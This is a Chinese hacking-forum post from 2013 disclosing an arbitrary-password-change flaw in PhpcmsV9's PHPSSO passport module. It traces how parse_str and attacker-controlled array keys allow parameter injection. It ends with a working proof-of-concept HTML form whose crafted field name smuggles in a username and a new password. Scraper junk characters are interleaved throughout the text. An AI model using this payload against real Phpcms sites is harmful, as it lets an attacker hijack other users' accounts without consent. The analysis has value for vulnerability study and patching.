找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2186|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:( ]& F: Y  j1 ?) R& Q. h

% Z( P; n6 U: k6 N2 K. X; H2 z$ @3 t2 }# s& I* t( ~$ t
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);% K, w/ i8 s! h% H

( t2 `2 A4 v0 c' J! {% b在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。* L! S" ]1 f+ v7 X& J& J; u
! B/ m4 l: |' K; l
我把它留给了你们。- s1 r& [+ e4 i( A
不知道你们发现了它没有。: o1 [7 X3 W" \# d& l7 O

( z" k4 [+ ?7 O& e5 i; `1 Q我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。9 E) o1 X5 W2 ]6 j7 M
% u8 ?" X0 x* l7 r/ m
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
$ ]7 G/ H2 M0 B2 w8 v% y
. Q) M/ G8 U2 N$ s也就是
; W. T9 g+ Z- t$ V; x8 Z
# T6 N- K" P# Y1 W3 fusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。1 t5 U8 D* y& h' p* s* v; I
- ?' `. Z' w1 }# ]; Q% ^: O  |! g
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
) B  N4 E3 n3 e/ E8 A" |: A7 R$ o! l

, W5 w1 C6 d% n% m* r6 D其实我们有这样的机会,看看代码,如下:2 l3 U8 d/ H# _5 Y
2 w( U% F. R" I1 j  O8 O5 P7 H
3 ]/ m' n/ S, U  |! w8 `3 p
public function auth_data($data) {
1 w% z) F  I- v- h( o2 ^1 H/ c                $s = $sep = '';+ Y/ j( _& P& l8 c- K5 T
                foreach($data as $k => $v) {0 C0 f0 ?: R2 D& R6 {
                        if(is_array($v)) {
& c0 f' }0 Z! T) t  Q                                $s2 = $sep2 = '';
. u! k/ @0 o: \  [                                foreach($v as $k2 => $v2) {
" M8 K  x+ v! U! E                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
% r4 o1 W8 R4 U                                        $sep2 = '&';) H2 D' c- R* c2 Z4 R
                                }2 I! l& i) {( a* K) l" Z$ ^" E
                                $s .= $sep.$s2;4 q: W9 w$ \( c5 U7 Z+ L
                        } else {
' d# W! A, O. o( Q/ Z                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
2 Z" [% o1 W5 {/ `                        }3 y( |. K( S3 @5 l5 @
                        $sep = '&';
* C9 U, {# J# S% \9 h6 h% `) X                }% g$ }* U" K7 |( i& x
. s; H$ _: S0 A4 W# n/ |) Y
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
$ E; x2 K% ~% s/ U& w/ w& h                return $auth_s;# J  Q9 i5 s% s- u  [- L6 n* z" b
        }
) G+ U3 m% Z* i9 F
) z9 v: @8 \( m' W! R! a( A可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。: Y/ Z2 ?- q( o4 V* q0 L

! ~) E, w6 y( G! ?% w) g- ^$ W举个例子" S, G! t3 d/ m
& Z5 f; a3 k1 H
$a[aaa=a&bbb] = 'a';
' g* z! r# |1 C% d7 j" K3 T4 r
7 P% I: f1 L7 U; T! S; L会变成aaa=a&bbb=a, }6 F4 s; K3 r3 _& C8 I0 M. u

3 n; \3 Q5 A+ H3 U9 }- f5 i明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。- H8 i) P/ V$ A& G0 O9 M5 U4 V

* ?. Q) h" M. S  x, v7 T2 m这个时候,我们可以再去看一个函数。
9 h6 V& O2 y/ c1 f4 o. \( P1 }0 B  ?- O% Z- \' c- r: n1 o
就在这个文件内:$ x. Y$ a; b8 m; f, G5 S
+ ~. s$ p/ k  H' k7 ]& S4 i

" E, V7 n6 d+ p) B+ z0 E4 L  }public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
- c4 L2 s2 U( |# Q  {% c  o                if($email && !$this->_is_email($email)) {
! o* a1 R; \* W% `8 |                        return -4;
- i; H4 v' \/ p* [                }
+ W8 F; X1 Q6 w) S6 j3 ~& X/ I0 \                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));& q! r0 M& F/ q
        }
( J% a# v& ~  J* b: _4 l3 u3 }0 J0 w
这是向通行证发了这样一个请求。
9 k& ?) _7 y  |$ c' a2 [
9 [8 P# B7 X/ B/ ]9 Z" G  k3 y1 @我们再跟到通信证代码里去看看,就会有所发现。
3 Z4 Q5 `" [8 y" ^& U2 [- ^' K. V7 w% ~. `4 \
/ r, M5 J* m5 s: w  x2 _
public function edit() {2 g3 Q1 K- c5 K- U, j# N2 T* g
//能省就省,太长了不是吗?
( Q- N$ F' x+ {( P- w3 m
$ Q& p: k0 l* K$ s" K5 C% |if($this->username) {6 |- p2 ]2 Y% y; M, k& a- c& [
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。# W& z! }  |; F; M# K
                                $res = $this->db->update($data, array('username'=>$this->username));( V1 n1 d" U; m5 X
                        } else {6 |6 k' P1 g. [2 n, y
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
* }0 s- c2 T" I+ {+ w) ^) y! R6 g' p                                $res = $this->db->update($data, array('uid'=>$this->uid));" a9 h8 u, [, {. L# m: j" G
                        }% Y' P- ]. Q. D3 v' C0 r. U
. b2 f1 V8 s. h) ^
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:4 _1 X/ ?& N4 d; f( r
- k- K! A5 u9 l
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
# P1 w! t: P3 w7 W: X4 @
1 u% n& c4 v+ W5 _: W( H/ s很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
/ F( h# U7 |+ A3 n3 T
& L! D$ v! Q: c2 \3 ^, v/ g$ C/ {我当然找到了:$ {; y2 r" m% E8 ^; h% U
phpcms9/phpcms/modules/member/index.php
" o# s  W  S7 h6 g& h: ]6 C/ K( F, ^) N! q
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
* H8 }* |( E( L" u
2 }6 Y/ O% K, m& ?8 d5 E  l4 U然后就没有然后了。% H) j  f: r( `5 |7 Z4 d

' U" D6 ?6 w) A8 L<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">+ {; u, @" {7 n! v9 Y
                                <table width="100%" cellspacing="0" class="table_form">
( v4 j, b% K7 A/ X5 @                                        <tr>
% O) v# t4 T3 o& W& D9 G                                                <th width="80">邮箱:</th>        ( Y: S+ S8 {3 |
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>6 \8 L8 J$ `0 n  L
                                        </tr>3 _3 X: z0 k( W* w0 S# U/ i% c
                                        <tr>( _) I+ o3 G) V: a% R$ Y( s
                                                <th width="80">原密码:</th>        : k& Z5 j2 k: a; w
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
. o* `0 ]( @% u7 B5 G0 a                                        </tr>1 z, W- x: k$ z
                                        <tr>
6 T+ M; Z" Z5 @) f8 X1 ]                                                <th>新密码:</th>
! ?1 n. b( C: n; x: E. J' G# W                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td># }) o: w) p6 \  M7 e1 w7 l0 F
                                        </tr>  {: W6 R8 p' I1 ?  {
                                        <th></th>  m$ g  a% h* S1 |% R7 S
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
+ R* c% l* ~: S+ x1 q! j                                        </tr>3 v0 [# L* k$ V( n4 X" W
                                </table>
5 c# a7 a% _' y. e; }+ t9 |7 U. Q/ h
' e$ W& g; I" O9 z                               
- E- Q) q# M7 P1 a* W( ?# A5 i                        </form>
0 y2 Z) C8 b# q/ B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表